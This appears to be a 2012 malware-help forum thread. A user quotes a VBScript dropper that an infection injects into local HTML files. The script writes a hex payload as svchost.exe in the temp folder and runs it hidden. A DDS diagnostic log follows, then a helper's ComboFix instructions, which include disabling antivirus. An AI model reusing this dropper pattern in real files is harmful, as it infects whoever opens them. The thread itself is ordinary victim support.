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svchost.exe script injection into local html files


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3 replies to this topic

#1 S_H_K

S_H_K

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Posted 18 February 2012 - 03:45 PM

Hi

I am unsure what is infecting my computer but it is adding the following script to all local html files whenever the computer restarts:

<script Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A9"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

I tried to follow this topic:
http://www.bleepingcomputer.com/forums/topic335436.html
but it was to messy for me to understand so im asking to start over.

All the best

Sagi.

DDS Log:
.
DDS (Ver_2011-08-26.01) - NTFSx86
Internet Explorer: 8.0.7600.16385
Run by Administrator at 23:28:27 on 2012-02-18
Microsoft Windows 7 Ultimate 6.1.7600.0.1255.972.1033.18.2046.1111 [GMT 2:00]
.
SP: Windows Defender *Enabled/Updated* {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
.
============== Running Processes ===============
.
C:\Windows\system32\wininit.exe
C:\Windows\system32\lsm.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
C:\Windows\system32\svchost.exe -k RPCSS
C:\Windows\system32\sppsvc.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
C:\Windows\system32\svchost.exe -k netsvcs
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
C:\Windows\system32\svchost.exe -k LocalService
C:\Windows\System32\svchost.exe -k NetworkService
C:\Windows\System32\spoolsv.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
C:\Windows\system32\SearchIndexer.exe
C:\Windows\System32\svchost.exe -k secsvcs
C:\Windows\system32\taskhost.exe
C:\Windows\system32\Dwm.exe
C:\Program Files\Windows Media Player\wmpnetwk.exe
C:\Windows\system32\taskhost.exe
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Internet Download Manager\IEMonitor.exe
C:\Windows\explorer.exe
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Mozilla Firefox\plugin-container.exe
C:\Program Files\Internet Download Manager\IDMan.exe
C:\Windows\system32\SearchProtocolHost.exe
C:\Windows\system32\SearchFilterHost.exe
C:\Windows\system32\conhost.exe
C:\Windows\system32\wbem\wmiprvse.exe
.
============== Pseudo HJT Report ===============
.
mWinlogon: Userinit=c:\windows\system32\userinit.exe,,c:\program files\microsoft\desktoplayer.exe
BHO: IDM integration (IDMIEHlprObj Class): {0055c089-8582-441b-a0bf-17b458c2a3a8} - c:\program files\internet download manager\IDMIECC.dll
uRun: [IDMan] c:\program files\internet download manager\IDMan.exe /onboot
mPolicies-system: ConsentPromptBehaviorAdmin = 5 (0x5)
mPolicies-system: ConsentPromptBehaviorUser = 3 (0x3)
mPolicies-system: EnableUIADesktopToggle = 0 (0x0)
IE: Download all links with IDM - c:\program files\internet download manager\IEGetAll.htm
IE: Download with IDM - c:\program files\internet download manager\IEExt.htm
TCP: DhcpNameServer = 192.168.1.1
TCP: Interfaces\{98A8DCD6-BE17-4AC6-B7CC-EE416246B928} : DhcpNameServer = 192.168.1.1
.
================= FIREFOX ===================
.
FF - ProfilePath - c:\users\administrator\appdata\roaming\mozilla\firefox\profiles\8bkch7kg.default\
FF - prefs.js: browser.search.selectedEngine - Google
FF - prefs.js: browser.startup.homepage - about:blank
FF - prefs.js: keyword.URL - hxxp://search.yahoo.com/search?fr=greentree_ff1&ei=utf-8&ilc=12&type=937811&p=
FF - plugin: c:\users\administrator\appdata\roaming\mozilla\firefox\profiles\8bkch7kg.default\extensions\{1bc9ba34-1eed-42ca-a505-6d2f1a935bbb}\plugins\npietab2.dll
.
============= SERVICES / DRIVERS ===============
.
R2 IDMWFP;IDMWFP;c:\windows\system32\drivers\idmwfp.sys [2011-11-14 89376]
R3 RTL8167;Realtek 8167 NT Driver;c:\windows\system32\drivers\Rt86win7.sys [2009-6-10 139776]
S3 b57nd60x;Broadcom NetXtreme Gigabit Ethernet - NDIS 6.0;c:\windows\system32\drivers\b57nd60x.sys [2009-7-14 229888]
.
=============== Created Last 30 ================
.
2012-02-19 02:30:00 -------- d-----w- c:\windows\Panther
2012-02-19 02:29:47 -------- d-sh--w- C:\Boot
2012-02-18 17:39:19 -------- d-----w- c:\program files\Sublime Text 2
2012-02-18 17:35:20 -------- d-----w- c:\program files\Microsoft
2012-02-18 17:35:02 -------- d-----w- c:\program files\Internet Download Manager
2012-02-18 17:34:47 -------- d-----w- c:\program files\VideoLAN
2012-02-18 16:53:53 6557240 ----a-w- c:\programdata\microsoft\windows defender\definition updates\{4922348e-d1b7-43b4-856d-e9a51ea5149d}\mpengine.dll
2012-02-18 16:53:53 237072 ------w- c:\windows\system32\MpSigStub.exe
2012-02-18 16:44:09 414368 ----a-w- c:\windows\system32\FlashPlayerCPLApp.cpl
2012-02-18 16:42:55 -------- d-----w- c:\users\administrator\appdata\roaming\Sublime Text 2
2012-02-18 16:42:55 -------- d-----w- c:\users\administrator\appdata\roaming\QuickStoresToolbar
2012-02-18 16:42:55 -------- d-----w- c:\users\administrator\appdata\roaming\npm
2012-02-18 16:42:50 -------- d-----w- c:\users\administrator\appdata\roaming\IDM
2012-02-18 16:42:50 -------- d-----w- c:\users\administrator\appdata\roaming\DVDVideoSoftIEHelpers
2012-02-18 16:42:50 -------- d-----w- c:\users\administrator\appdata\roaming\DVDVideoSoft
2012-02-18 16:42:50 -------- d-----w- c:\users\administrator\appdata\roaming\DMCache
2012-02-18 16:42:50 -------- d-----w- c:\users\administrator\appdata\roaming\DarknessII
2012-02-18 16:42:49 -------- d-----w- c:\users\administrator\appdata\roaming\DAEMON Tools Lite
2012-02-18 16:39:59 -------- d-----w- c:\windows\system32\wbem\Performance
2012-02-18 16:36:20 -------- d-sh--w- C:\Recovery
.
==================== Find3M ====================
.
.
============= FINISH: 23:28:43.91 ===============

Attached Files


Edited by S_H_K, 19 February 2012 - 07:33 AM.


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#2 S_H_K

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Posted 19 February 2012 - 07:27 AM

help!! ;/
i added GMER DDS and ATTACH .log s

#3 nasdaq

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Posted 22 February 2012 - 10:59 AM

Hello, Welcome to BleepingComputer.
I'm nasdaq and will be helping you.

If you can please print this topic it will make it easier for you to follow the instructions and complete all of the necessary steps.
===

Please download ComboFix from any of the links below, and save it to your desktop. For information regarding this download, please visit this web page: http://www.bleepingcomputer.com/combofix/how-to-use-combofix

Link 1
Link 2


* IMPORTANT !!! Save ComboFix.exe to your Desktop

IMPORTANT....

1. Close any open browsers.

2. Close/disable all anti virus and anti malware programs so they do not interfere with the running of ComboFix.

3. Do not install any other programs until this if fixed.


How to : Disable Anti-virus and Firewall...
http://www.bleepingcomputer.com/forums/topic114351.html

Double click on ComboFix.exe & follow the prompts.
  • When finished, it will produce a report for you.
  • Please post the C:\ComboFix.txt
Note:
Do not mouse click ComboFix's window while it's running. That may cause it to stall


Note: If you have difficulty properly disabling your protective programs, refer to this link --> http://www.bleepingcomputer.com/forums/topic114351.html
===

Third party programs if not up to date can be the cause infiltration of an infection.

Please run this security check for my review.

Download Security Check by screen317 from here.
  • Save it to your Desktop.
  • Double click SecurityCheck.exe and follow the onscreen instructions inside of the black box.
  • A Notepad document should open automatically called checkup.txt; please post the contents of that document.
===

Note: If after running ComboFix you get this error message "Illegal operation attempted on a registry key that has been marked for deletion." when attempting to run a program all you need to do is restart the computer to reset the registry.

Please post the logs for my review.

#4 nasdaq

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Posted 28 February 2012 - 10:11 AM

Due to the lack of feedback, this topic is now closed.

In the event you still have problems, please send me or any Moderator a Private Message and ask them to reopen this topic within the next 5 days. Please include a link to your topic in the Private Message. Thank you.




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